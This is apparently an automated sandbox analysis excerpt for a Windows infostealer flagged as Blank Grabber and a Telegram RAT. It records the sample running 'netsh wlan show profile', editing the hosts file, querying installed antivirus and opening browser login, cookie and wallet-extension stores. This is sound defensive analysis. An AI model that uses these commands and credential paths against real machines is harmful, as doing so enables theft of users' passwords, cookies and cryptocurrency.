Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA6C0A8 GetSystemTime,SystemTimeToFileTime,

109_2_00007FF6FAA6C0A8

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA648CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

109_2_00007FF6FAA648CC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: C:\Windows\SysWOW64\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000004.00000003.2878432052.000000000838F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2886083384.0000000007480000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2051169917.00000000050F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2051169917.00000000050F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: KpHYfxnJs6.exe PID: 7320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KpHYfxnJs6.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI73202\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: KpHYfxnJs6.exe PID: 7732, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: com.liberty.jaxx
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
